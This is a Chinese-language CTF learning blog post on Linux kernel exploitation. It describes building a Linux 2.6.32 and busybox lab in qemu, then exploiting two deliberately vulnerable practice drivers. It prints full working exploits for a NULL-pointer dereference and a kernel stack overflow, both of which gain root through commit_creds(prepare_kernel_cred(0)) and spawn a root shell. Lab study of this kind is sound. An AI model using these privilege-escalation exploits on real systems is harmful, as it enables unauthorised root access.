CTF KETNEL PWN 入门记录

从强网杯2018开始,突然发现没有接触过的东西很多想拓展一下自己的知识面,开始从Linux Kernel的PWN入手吧。

最开始参考的是安全客上的两篇文章,都来自o0xmuhe

Linux 内核漏洞利用教程(一):环境配置

Linux 内核漏洞利用教程(二):两个Demo

本篇博客主要补充上述博客中没有详细描述的地方,和踩过的坑。(可能只有我基础这么差…)

环境配置

编译内核

文中提到的安装依赖库及qemu时,在make menuconfig就很懵…

1
2
3
4
5
6
7
$ cd linux-2.6.32.1/
$ sudo apt-get install libncurses5-dev
$ sudo apt-get install qemu qemu-system
$ make menuconfig
$ make
$ make all
$ make modules

突然出现一大堆选项,而且并不知道是干嘛的…

最后发现这个东西仅仅是为了生成.config这个配置文件的,因此直接选择最下面的Save an Alternate Configuration File,然后选择默认命名的.config就可以了。

其余就没为什么问题了,除了make命令时极慢,通常还会报几次错,但网上都搜得到。

编译busybox

在编译busybox时,需要去掉

1 Linux System Utilities -> [] Support mounting NFS file system 网络文件系统

2 Networking Utilities -> [] inetd (Internet超级服务器)

配置busybox

qemu的启动,需要使用busybox生成一个简易的文件镜像,采用的方法选择文章中的第二种(第一种我没成功)

首先,在busy-box的根目录下建立_install文件夹,作为文件系统

1
2
cd _install
mkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin}}

在_install中的etc文件中增加inittab文件,

1
2
3
4
5
6
7
8
9
cd etc
touch inittab
-----------------------This is Content---------------------------
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init

增加etc/init.d/rcS文件

1
2
3
4
5
6
7
8
9
10
11
12
mkdir init.d
cd init.d
touch rcS
-----------------------This is Content---------------------------

#!/bin/sh
#!/bin/sh
mount -t proc none /proc
mount -t sys none /sys
/bin/mount -n -t sysfs none /sys
/bin/mount -t ramfs none /dev
/sbin/mdev -

建立完上述文件后,可以制作img镜像了。

在_install文件夹下:

1
find . | cpio -o --format=newc > ../rootfs.img

启动qemu

启动gdb的脚本

1
2
3
4
5
6
7
8
9
10
gdb \
-ex "add-auto-load-safe-path $(pwd)" \
-ex "file vmlinux" \
-ex 'set arch i386:x86-64:intel' \
-ex 'target remote localhost:1234' \
-ex 'break start_kernel' \
-ex 'continue' \
-ex 'disconnect' \
-ex 'set arch i386:x86-64' \
-ex 'target remote localhost:1234'

启动qemu的脚本

1
qemu-system-x86_64 -m 128M -kernel linux-2.6.32.1/arch/x86/boot/bzImage -initrd busybox-1.28.2/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" --nographic -gdb tcp::1234 -S -netdev user,id=t0, -device e1000,netdev=t0,id=nic0

两个Demo

编译内核驱动

编译内核及利用的exp、poc时,一定要放在之前下载的内核目录下一定要放在之前下载的内核目录下一定要放在之前下载的内核目录下

另外,在拷贝文章中给的代码时,把空格替换成TAB,并且命名成Makefile

每次将ko、exp、poc编译好后,放入之前建好的_install文件夹中,每次都需要用find . | cpio -o –format=newc > ../rootfs.img重新建立镜像。

NULL Dereference

这个漏洞其实很简单,就是每次调用write函数时,驱动执行以后,就会跳转到0x0地址去执行。

因此,利用mmap申请0x0地址的堆块,然后赋予可执行权限,防止跳转过去以后段错误即可,在mmap出来的堆块写入shellcode提权就没问题了。

和文章中有区别的是,自己作死用的amd64的镜像,其实和普通的PWN是一样的,传参之类的都一样。

附64位的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-----------------------shellcode.s -----------------
xor %rax,%rax
mov %rax,%rdi
call 0xffffffff81081030
mov %rax,%rdi
call 0xffffffff81080e40
ret
------------------------exp.c ---------------------
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char shellcode[] = "\x48\x31\xc0\x48\x89\xc7\xe8\x25\x10\x08\x81\x48\x89\xc7\xe8\x2d\x0e\x08\x81\xc3";
int main()
{
mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
memcpy(0, shellcode, sizeof(shellcode));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "muhe", 4);
system("/bin/sh");//get root shell
return 0;
}

Kernel Stack Overflow

这个函数在write中有一个栈溢出漏洞,需要关闭canary重新编译内核,建议把之前用的内核vmlinux保存下来,然后修改.config后,make -> make all -> make modules就可以了…

在其他问题中,AT&T在64位下实在是太磨人了,附64位exp(汇编写的很渣…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

unsigned long long eip,user_cs,user_eflags,user_sp,user_ss;
char bin_sh[] = "/bin/sh";

struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *rsp;
uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;

void get_shell(void){
system("/bin/sh");
}

void init_tf_work(void){
unsigned long long i = 0x50;
unsigned long long j = 0x78;
asm(

//"pushq %%ss\n"
"subq %2,%%rsp\n"
"movq %%ss,%%rax\n"
"pushq %%rax\n"
"pushq %%rsp\n"
"pushfq\n"
//"pushq %%cs\n"
"movq %%cs,%%rax\n"
"pushq %%rax\n"
"pushq %0\n"
"movq %%rsp,%1\n"
"addq %3,%%rsp"
:"=m"(eip),"=r"(user_sp),"=m"(i),"=m"(j)
:
:"memory"
);
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff81080db0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff81080bc0;
void payload(void){
//payload here
commit_creds(prepare_kernel_cred(0));
asm(
"movq %0,%%rsp\n"
"iretq\n"
:"=m"(user_sp)
);
}
int main(void){
char buf[40];
memset(buf,0x41,40);
eip =(unsigned long long) get_shell;
*((void**)(buf+32)) = &payload; //set eip to payload
init_tf_work();
write(1,buf,sizeof(buf));
int fd = open("/proc/bug2",O_WRONLY);
//exploit
write(fd,buf,sizeof(buf));
return 0;
}
文章目录
  1. 1. 环境配置
    1. 1.1. 编译内核
    2. 1.2. 编译busybox
    3. 1.3. 配置busybox
    4. 1.4. 启动qemu
  2. 2. 两个Demo
    1. 2.1. 编译内核驱动
    2. 2.2. NULL Dereference
    3. 2.3. Kernel Stack Overflow
|